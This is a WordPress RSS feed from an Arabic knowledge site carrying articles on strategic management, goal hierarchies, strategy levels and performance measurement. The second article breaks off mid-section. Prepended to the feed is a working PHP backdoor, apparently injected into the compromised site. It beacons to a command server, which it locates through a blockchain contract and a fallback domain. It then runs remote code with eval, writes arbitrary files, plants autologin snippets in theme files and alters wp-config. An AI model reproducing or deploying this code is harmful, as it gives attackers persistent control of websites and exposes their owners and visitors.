// 1h_1p if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php', 'ctrl'=>'// 1h_1p', 'vis'=>'// st_3y', 'vis_func'=>'wp_dg1657', 'vis_paths'=>array('/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php'), 'opt'=>'_wp_7hsqajid', ); $keys=array(); $keys['id']='fj1'; $keys['ver']='1q'; $keys['caps']='tle'; $keys['tasks']='l7z'; $keys['interval']='bbw'; $keys['ack_id']='cxz'; $keys['ok']='9w'; $keys['detail']='voi'; $keys['inv']='5jq'; $keys['result']='f34'; $hdr='X-B1W-Auth';$tok='XedrlORYVlRrR6u98I3prggq7ZR1j5tnIRsfGTzBTyM';$id='5394ed6b3f3ab399';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ادارة الوقت Archives - CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات موسوعة مركز كيم لتنمية المهارات و القدرات Wed, 02 Aug 2023 19:50:13 +0000 ar hourly 1 https://wordpress.org/?v=6.3.12 سلسلة مقالات – الإدارة الاستراتيجية-بقلم أ. د/ عبدالحميد أبو ناعم – المقالة الثالثة https://cameknowledge.camecenter.com/articles/strategic_management-03/ https://cameknowledge.camecenter.com/articles/strategic_management-03/#respond Sat, 01 Apr 2023 15:29:10 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10326 سلسلة مقالات – الإدارة الاستراتيجية بقلم أ. د / عبد الحميد أبو ناعم المقالة الثالثة أهداف المنظمة والتنمية : إن المنظمة التى تتوقع حياة طويلة يكون لها الأنواع الثلاثة من الأهداف وهى الأهداف المباشرة والقابلة التحقيق والمنظورة، وإذا ترجم ذلك فى شكل تصور هرمى فإن الفكرة الخاصة بسقف النمو تصبح أكثر وضوحاً كما هو مبين […]

The post سلسلة مقالات – الإدارة الاستراتيجية-بقلم أ. د/ عبدالحميد أبو ناعم – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – الإدارة الاستراتيجية

بقلم أ. د / عبد الحميد أبو ناعم

المقالة الثالثة

أهداف المنظمة والتنمية :

إن المنظمة التى تتوقع حياة طويلة يكون لها الأنواع الثلاثة من الأهداف وهى الأهداف المباشرة والقابلة التحقيق والمنظورة، وإذا ترجم ذلك فى شكل تصور هرمى فإن الفكرة الخاصة بسقف النمو تصبح أكثر وضوحاً كما هو مبين فى الشكل التالى:

 

 

 التدرج الهرمى للأهداف والوقت

 

وتوفر الأهداف سقفاً للإنجازات، وعند الوصول إلى هذا المستوى من الإنجاز تكون المنظمة قد حققت جميع أهدافها.

ولكن كيف تستطيع المنظمة التى تأمل فى حياة ممتدة من تحقيق الاستمرار؟.

تبدو الإجابة عن ذلك بسيطة ظاهرياً، إذ تستطيع المنظمة تحقيق حياة طويلة عن طريق تنمية أهداف جديدة بدلاً من مجرد محاولة تحقيق مزيد من الكفاءة على ضوء الأهداف القديمة، ويمكن تبين العملية جميعها متى سمح وقت إنجاز التدرج الهرمى لأهداف المنظمة بتحقيق التنمية بدلاً من التقيد بسقف النمو كما هو موضح فى الشكل التالى :

العملية الديناميكية لإنجاز الأهداف

ويتضمن الشكل السابق مفهوم الأهداف الذى ينشأ مع الوقت كى يسمح للمنظمة الوصول إلى مستوى أعلى وأعلى من التنمية، ويكون التحول الذى يحدث فى التدرج الهرمى للأهداف هاماً، إذ تتحول الأهداف المنظورة والأهداف القابلة التحقيق إلى أسفل مع إزدياد مقدرة المنظمة على إنجازها وبالتالى تصبح الأهداف المنظورة أهدافاً قابلة للتحقيق وتصبح الأهداف قابلة التحقيق أهدافاً مباشرة ويصل نمو المنظمة إلى أقصاه عند سقف النمو (1) إلا إذا تغيرت الأهداف حيث أن تغييراً فى الأهداف يسمح للمنظمة بالوصول إلى مستوى أعلى وبالانتقال إلى الفترة الزمنية التالية يتبين وجود زيادة فى إمكانية نمو المنظمة (سقف النمو 2 الآن) وتتحقق عن طريق التنمية، لكن كيف حدثت التنمية؟ لقد تحققت التنمية فى المنظمة عندما تحولت الأهداف قابلة التحقيق سابقاً إلى أهداف مباشرة ، وأصبحت الآن هذه الأهداف جزءاً من الأهداف المباشرة (ح 2) فى التدرج الهرمى بالنسبة للفترة الزمنية الثانية.

وهناك تغيير آخر له دلالته فقد أصبحت الأهداف المنظورة (م1 ) للفترة الزمنية الأولى جزءاً من الأهداف القابلة للتحقيق (ق2) فى الفترة الزمنية الثانية.

وتوضح الفترة الزمنية الثالثة الأهداف الأصلية (م 1) وقد تحولت إلى أهداف مباشرة (ح3) وقد ارتفع سقف النمو مرتين وكانت التنمية هى المسئولة عن هذا الارتقاء فى كل مرة، فإذا كانت المنظمة تجدد باستمرار تدرجها الهرمى للأهداف وتجعلها حديثة أو متمشية مع الزمن حدثت عملية تبديل من أعلى إلى أسفل إلى أن تصبح قابلة التحقيق (ق3) فى الفترة الزمنية الثالثة وتصبح أهدافاً مباشرة (ح 4) فى الفترة الزمنية ألمستقبلة (الرابعة) ولعل هذا يوضح الطريقة التى تساهم بها عملية تنمية أهداف جديدة فى تجديد المنظمة واستمرارها.

مستويات الإستراتيجية

تتعدد مستويات الاستراتيجية، وذلك على النحو التالى :

  • الاستراتيجية العليا للمنظمة الكلية corporate strategy  

وهى عبارة عن وسيلة الإدارة العليا لإدارة وتوجيه المنظمة ككل وعلى هذا فهى تغطى أنشطة ومجالات عمل المنظمة والذى يطلق على كل منها وحدة النشاط الاستراتيجية وتفيد هذه الاستراتيجية فى :

أولاً : تطوير الخطط اللازمة لإدارة المجالات التى تعمل فيها المنظمة ووحداتها الاستراتيجية المختلفة من خلال اتخاذ مجموعة من القرارات  المتعلقة بما يلى :

  • متى وكيف تدخل المنظمة مجالات أو أنشطة جديدة ولماذا ؟
  • ما هى الأنشطة التى يجب أن تخرج منها المنظمة أو تتخلص منها ؟ وهل ذلك فوراً أم بالتدريج ؟
  • ما هى الفرص التسويقية التى يجب الاستمرار فى دراستها وتحليلها ؟
  • ما الذى يجب أن تفعله الإدارة لتحسين وتطوير أداء المنظمة ككل ؟
  • تطوير مسار استراتيجي موحد يتم إتباعه بواسطة أنشطة المنظمة المختلفة كلها ، وقد يتضمن اتخاذ خط أو موقف استراتيجي عام ( توسع – الاحتفاظ بالموقف الحالي – ترشيد التكاليف – تحسين الصورة تمهيداً لبيع النشاط ) وذلك لكل نشاط داخل المنظمة ككل .

ثانياً : توفير التنسيق اللازم بين مجالات النشاط المختلفة بهدف تقوية المركز التنافسي لهذه الأنشطة وبالتالي للمنظمة .

ثالثاً : تحديد أولويات الاستثمار والرقابة على تخصيص موارد المنظمة فيما بين أوجه النشاط المختلفة .

  • استراتيجية النشاط Business Unit Strategy

تعمل المنظمات متعددة الأنشطة فى مجالات متعددة فقد يكون لدى المنظمة أنشطة مختلفة وكل نشاط منها يعتبر مجال مستقل بذاته وله مدير مسئول عن هذا النشاط ويطلق على هذا النشاط وحده العمل الاستراتيجي وبصفة عامة لكل وحدة عمل استراتيجية ملامح عامة ألا وهى رسالة وهدف خاص بها ، ولها منافسين ومنتجات خاصة بها فقط .

وهناك ملحوظة هامة وهى أن استراتيجية المنظمة العليا واستراتيجية وحدة العمل الاستراتيجية تكون استراتيجية واحدة فى حالة المنظمات التى تعمل فى مجال واحد فقط ، حيث تظهر التفرقة واضحة بين الاستراتيجيتين فى حالة المنظمات متعددة الأنشطة فقط والتى لديها أقسام أو أنشطة مختلفة تتنافس فى أكثر من صناعة .

  • الاستراتيجيات الوظيفية

وهى عبارة عن الخطط والاستراتيجيات اللازمة لإدارة الوظائف الفرعية داخل النشاط وهى لازمة لتدعيم وتقوية استراتيجية النشاط وصبغها بالصبغة العملية لتحقيق الاستراتيجية العامة للمنظمة.

ويعتبر مديري الوظائف الرئيسية مسئولين عن الاستراتيجيات الوظيفية كل حسب وظيفته ، وفى ضوء أهداف واستراتيجيات النشاط يتم صياغة أهداف واستراتيجيات داخل كل وظيفة ويتم مناقشتها والاتفاق بشأنها مع المدير العام للنشاط .

  • استراتيجيات الأقسام الفرعية

توضح هذه الاستراتيجية كيف ينوى رؤساء الأقسام داخل الوظائف الفرعية تنفيذ التفاصيل الدقيقة داخل كل وظيفة ويوضح الجدول التالي مستويات الإستراتيجيات المختلفة والمسئولين عن كل مستوى والمسئوليات والمهام الرئيسية لكل مستوى استراتيجي .

 

ويوضح الجدول التالى الاختلافات الأساسية بين المستويات الاستراتيجية المختلفة :

مستوى الاستراتيجية المسئول عنها المسئوليات والوظائف الرئيسية
الاستراتيجية العليا رئيس الجهاز التنفيذي ، باقي المديرين الرئيسين   ( عادة ما تراجع هذه القرارات ويوافق عليها من قبل مجلس الإدارة ) – بناء وإدارة مزيج أنشطة المنظمة ( اتخاذ قرارات شراء أنشطة جديدة ، بيع وحدات غير ناجحة ، تقوية الأنشطة الحالية وتدعيمها)

– التنسيق بين استراتيجيات الأنشطة الاستراتيجية وبناء وتقوية الميزة التنافسية للمنظمة ككل .

– مراقبة عملية توزيع وتخصيص الموارد فيما بين وحدات النشاط الاستراتيجية المختلفة .
الاستراتيجية النشاط الاستراتيجي المدير العام / رئيس الوحدة الاستراتيجية

( تراجع القرارات ويوافق عليها بواسطة رئيس الجهاز التنفيذي )

 – اختيار الأسس التى ستقوى المركز التنافسي وما هى المميزات التنافسية التى سيتم التركيز عليها .

– إعداد الخطط اللازمة للتغيرات التى تحدث فى الصناعة وظروف المنافسة .

– التنسيق فيما بين الاستراتيجيات الوظيفية .

– رقابة عملية توزيع وتخصيص الموارد داخل النشاط نفسه .

الاستراتيجيات الوظيفية المساعدة مديري الوظائف الرئيسية (عادة ما تراجع القرارات ويتم الموافقة عليها بواسطة المدير العام أو رئيس الوحدة الاستراتيجية) – تدعيم استراتيجية النشاط داخل كل وظيفة فرعية .

– تطوير خطط عملية داخل كل وظيفة لتدعيم تنفيذ استراتيجية النشاط بنجاح .
الاستراتيجيات التشغيلية داخل الأقسام الفرعية رؤساء الأقسام داخل الوظائف الفرعية ( يتم اتخاذ القرارات بعد الاستشارة مع الزملاء ويتم مراجعتها والموافقة عليها من قبل مدير الوظيفة الفرعية ) – تطوير خطط عملية لتنفيذ متطلبات العمل اليومي للإستراتيجيات الوظيفية ( التسويق – الإنتاج – الإدارة المالية)

 

الاختلافات الأساسية بين المستويات الاستراتيجية المختلفة

 

 

تحويل الاهداف والاستراتيجيات العامة الى اهداف واستراتيجيات قصيرة الأجل

يوضح الشكل التالي كيف يمكن تحويل استراتيجية المنظمة العامة الى استراتيجيات لمجالات النشاط المختلفة ثم الى الاستراتيجيات الوظيفية .

 

*   *   *

انتهت بحمد الله مقالات مسار كيم التعليمى للإدارة الاستراتيجية

بقلم الأستاذ الدكتور / عبد الحميد أبو ناعم   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – الإدارة الاستراتيجية-بقلم أ. د/ عبدالحميد أبو ناعم – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/strategic_management-03/feed/ 0 سلسلة مقالات – الإدارة الاستراتيجية-بقلم أ. د/ عبدالحميد أبو ناعم – المقالة الثانية https://cameknowledge.camecenter.com/articles/strategic_management-02-2/ https://cameknowledge.camecenter.com/articles/strategic_management-02-2/#respond Sat, 01 Apr 2023 15:24:27 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10324 سلسلة مقالات – الإدارة الاستراتيجية بقلم أ. د / عبد الحميد أبو ناعم المقالة الثانية الأداء المؤسسى للهيئة العامة للإستثمار والمناطق الحرة مقدمة يتمحور دور الادارة فى الأداء،  بمعنى أن كل ابحاث ودراسات علم ادارة الاعمال تهدف الى تحسين وتطوير أداء الافراد والمنظمات والدول. ونحن قد عرفنا اليابان من خلال مؤسساتها كوزارة التجارة والصناعة، وتويوتا […]

The post سلسلة مقالات – الإدارة الاستراتيجية-بقلم أ. د/ عبدالحميد أبو ناعم – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – الإدارة الاستراتيجية

بقلم أ. د / عبد الحميد أبو ناعم

المقالة الثانية

الأداء المؤسسى للهيئة العامة للإستثمار والمناطق الحرة

مقدمة

يتمحور دور الادارة فى الأداء،  بمعنى أن كل ابحاث ودراسات علم ادارة الاعمال تهدف الى تحسين وتطوير أداء الافراد والمنظمات والدول. ونحن قد عرفنا اليابان من خلال مؤسساتها كوزارة التجارة والصناعة، وتويوتا وهوندا، كما عرفنا فنلندا من خلال نوكيا ,ونعرف كوريا من خلال سامسونج وهيونداى. وعلى هذا فالمؤسسات والافراد هى التى تبنى الامم والدول وليس العكس. ويتم هذا من خلال أداء إحترافى ومؤسسى متميز لهذه المؤسسات وهؤلاء الافراد.

الإدارة والأداء والأهداف

الادارة هى حسن استخدام الموارد المتاحة لتحقيق اهداف المنظمة بالكفاءة والفاعلية المطلوبة،  ويقاس الاداء من خلال درجة تحقيق الاهداف ومدى كفاءة وفاعلية تحقيق هذه الاهداف، ولقد لقى موضوع تقيييم و قياس الأداء في الآونة الأخيرة كثيراً من الجدال والنقاش  إتسم بعدم قبول لمقاييس ومؤشرات الأداء التقليدية . مما ترتب عليه ضرورة البحث عن اتجاهات حديثة ، إماباعتبارها بديلة لمقاييس الأداء المتعارف عليها ، أو أن تكون مكملة لمقاييس الأداء الحالية . حيث تركزت معظم الانتقادات لمقاييس الأداء التقليدية فى عدم قدر تها على إعطاء مؤشرات ودلائل فعاله لمستوى الأداء ومسايرة لمتطلبات التقييم الشامل فى ظل المتغيرات البيئية الحديثة

العناصر الرئيسية للأداء ، وأهميته

الأداء هو إنعكاس لتعلق المنظمات بأهدافها وقدرتها على إنجازها، وله أهمية بالغة لأنه ينقل العمل على إنجاز تلك الأهداف من الفردية إلى الجماعية، ومن العفوية إلى التخطيط، ومن الغموض إلى الوضوح، ومنة عدم المحاسبة الى القدرة على المحاسبة والمساءلة.

ولقد عرف البعض  الأداء التنظيمي “بأنه قدرة المنظمة على استخدام, مواردها بكفاءة، وإنتاج مخرجات متناغمة مع أهدافها ومناسبة لمستخدميها “.

ويتحقق الأداء من خلال :حسن استخدام  الموارد البشرية، والأجهزة، والآلات، والمواد، والأموال(الموارد الماديةوالمالية )، والتكنولوجيا ( المعلومات، الأساليب، الطرق )، كما أن هذا الأداء لهذه العناصر يتحقق فى إطار تنظيمى يتحدد من خلال : هيكل تنظيمى، وسياسات، وقواعد، ونظم، وإجراءات، وسواء كان الأداء متجهاً إلى إنتاج سلع أو خدمات فهو لا يخرج فى النهاية عن ارتباطة بالسوق بعنصريهالاساسيين وهما المستفيدين(العملاء) والمنافسين .

ويحظى الأداء على إهتماماً بالغاً على جميع المستويات إبتداءاً من مستوى الفرد العامل أياً كان موقعه داخل التنظيم وتدرجاً إلى المستوى القومى، وذلك من  منطلق أن مستوى أداء الفرد يؤثر على الأداء الإجمالى للإدارة التى ينتمى إليها ، وهذا بدوره يحدث تأثيره الإيجابى أو السلبى على كفاءة وفاعليته مستوى الاداء التنظيمى ككل والعكس صحيح . وفى النهاية ينعكس هذا التأثير على المستوى القومى أى على مستوى الدولة، وذلك لأن الأداء على المستوى القومى ما هو إلا تعبير عن أداء المنظمات العاملة به.

كما يعتبر الأداء العام للمنظ مة إنعكاس لمدى إستخدام الم نظمة لمواردها المتاحة بكفاءة وفعالية من أجل إشباع رغبات العملاء وتحقيق أهداف ال منظمة، وكلما زادت كفاءة وفعالية إستخدام هذه الموارد، كلما تطور أداء المنظمة.

أبعاد تقييم وقياس الأداء

إكتسب موضوع قياس الأداء أهمية خاصة فى فكر المنظمات فى الثمانينيات وبداية التسعينيات من القرن الماضى ومع بداية الإ نتشار الواسع لأدوات حركة الإدارة الجديدة وما رافقها من مفاهيم مثل:  الميزة التنافسية، سلسلة القيمة، الرؤيا والرسالة، و إستراتيجيات الإصلاح الإدارى، مما أدى إلى أن يصبح  هناك إهتمام جديد وتركيز يتعلق بإدارة الأداء .

وتقوم المنظمات بإرساء مجموعة من الإجراءات لقياس مدى الإنجازات العملية ال متحققة على كافة مستويات الأداء التى سبق طرحها، وفى هذا قد تتسم عملية قياس الأداء بالوضوح والسهولة فى حالة قياس عدد العملاء الذين تلقوا الخدمة، وقد تتسم بالصعوبة لإ نخراط المنظمة فى أنشطة كثيرة ومعقدة في حالة  تقييم مشروع لفترة طويلة أو تقييم خدمة جديدة أو قياس مدى تحقيق التكامل بين أجزاء المنظمة، كما أنها عملية مهمة لأنها عملاً من أعمال الرقابة والتقييم، وقد عبر بعضهم بقوله ” لا يمكن مراقبة ما لا يمكن قياسه

إستناداً إلى إفتراض أن ما سيتم قياسه هو ما يمكن قياسه :

 (You Can’t Control What You Can’t Measure )

بالإضافة إلى مدى شمولية العملية إذ يجب ……………   سيتم فعله أو عمله

 (What Gets Measured Is What Gets Done)

 

نظم قياس الأداء :

  يمكن  تصنيف نظم قياس الاداء الى ثلاث مجموعات رئيسية على النحو التالي:

أ–  نظم قياس الأداء المالى:

يطلق على هذه النظم والمقاييس أيضاً مسمى نظم القياس التقليدية ، حيث أنها تقوم على أساس التقارير المحاسبية مثل قوائم المركز المالى وقوائم الدخل ، بهد ف حساب بعض المقاييس والمؤشرات المالية التقليدية مثل:

مقاييس الأداء المالى للمنظمة

  1. معدل العائد على الاستثمار
  2. إجمالى الإيرادات السنوية.
  3. تكلفة الوحدة. الحصة السوقية- الربحية.
  4. نمو المبيعات- معدل العائد على حقوق الملكية- معدل العائد على الاستثمار
  5. معدل العائد على رأس المال المستثمر فى النشاط التسويقى- حجم المبيعات – الحصة السوقية النسبية -والمطلقة.
  6. العائد على رأس المال المستثمر- ھامش الربح- معدل دوران الأصول – معدل دوران الأسهم – نسبة التداول- نسبة السيولة.
  7. معدل العائد على الاستثمار- التدفقات النقدية الداخلية والخارجية- الحصة السوقية النسبية والمطلقة.
  8. العائد على الاستثمار- معدل العائد على المبيعات..
  9. توليد النقدية – القيادة فى التكلفة – تحليل الربحية – خلق قيمة للمساھمين.
  10. الأرباح- إيرادات المبيعات – التدفق النقدى .
  11. معدل الاحتفاظ بالإيرادات – Reinvestment Rate معدل إعادة الاستثمار – المدة اللازمة لبيع المخزون – معدل دوران إجمالى – Earning Retention Rate
  12. صافى القروض كنسبة من الودائع – معدل تغطية الفوائد قبل الضرائب. –
  13. المدة اللازمة لدفع أوراق الدفع
  14. معدل دوران النقدية.

يشير البيان  السابق إلى أن هذه النظم تتضمن مقاييس أحادية غير متكاملة لتقييم وقياس الأداء الشاملة مما أدى إلى وجود العديد من القصور بها نتيجة للأسباب التالية:

  • تعتبر المقاييس المحاسبية التقليدية للأداء غير كافية لصنع القرارات الإستراتيجية فى ظل بيئة اليوم التى تتميز بسرعة التغير والمنافسة الشديدة.
  • تعتبر هذه المقاييس ذات نظرة تاريخية لأنها تعبر عن الأداء الماضى.
  • ليس لديها القدرة على تفسير الأداء المستقبلى.
  • أنها توفر معلومات قليلة عن الأسباب الأصيلة وراء ظهور أحداث أو ظواهر معينة.
  • لا تقوم بربط المقاييس غير المالية بالأرقام المالية.
  • تهتم بالعمليات الوظيفية المستقلة وليس العمليات الوظيفية المتداخلة.
  • لا تتضمن تكلفة رأس المال.
  • لا تأخذ فى الحسبان الأصول غير الملموسة مثل قدرات العاملين، رضا العملاء.
  • لاتقيس القيمة التى تقدمها المنظمة للعملاء والمساهمين.
  • هناك عدد كبير من المقاييس المالية أكثر من اللازم، فى حين أن المنظمة تحتاج إلى مقاييس ذات محتوى أوسع بحيث تكون قادرة على وصف الأشياء بنظرة أشمل مع أقل عدد ممكن من الأرقام.

 

ب– نظم قياس الأداء غير المالى :

